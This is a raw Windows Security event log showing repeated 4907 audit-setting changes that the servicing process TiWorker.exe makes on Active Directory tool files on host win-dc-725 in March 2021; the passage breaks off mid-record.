C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247477 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\ntfrsapi.dll.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247476 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\ntdsutil.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247475 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\ldp.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247474 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\ldifde.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247473 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpfixup.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247472 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsuiwiz.dll.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247471 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dssite.msc - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247470 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsrm.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247469 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsquery.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247468 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsmove.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247467 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsmod.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247466 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsmgmt.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247465 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsget.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247464 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsdbutil.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247463 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsadmin.dll.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247462 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsadd.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247461 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsacls.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247460 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dsa.msc - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247459 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\domain.msc - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247458 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\domadmin.dll.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247457 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dcpromoui.dll.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247456 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dcpromocmd.dll.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247455 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dcdiag.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247454 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\csvde.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247453 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\adsiedit.msc - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247452 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\adsiedit.dll.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247451 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\adprop.dll.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247450 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\schmmgmt.dll - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247449 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\repadmin.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247448 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\rendom.exe - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247447 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\redirusr.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247446 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\redircmp.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247445 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\ntfrsapi.dll - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247444 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - 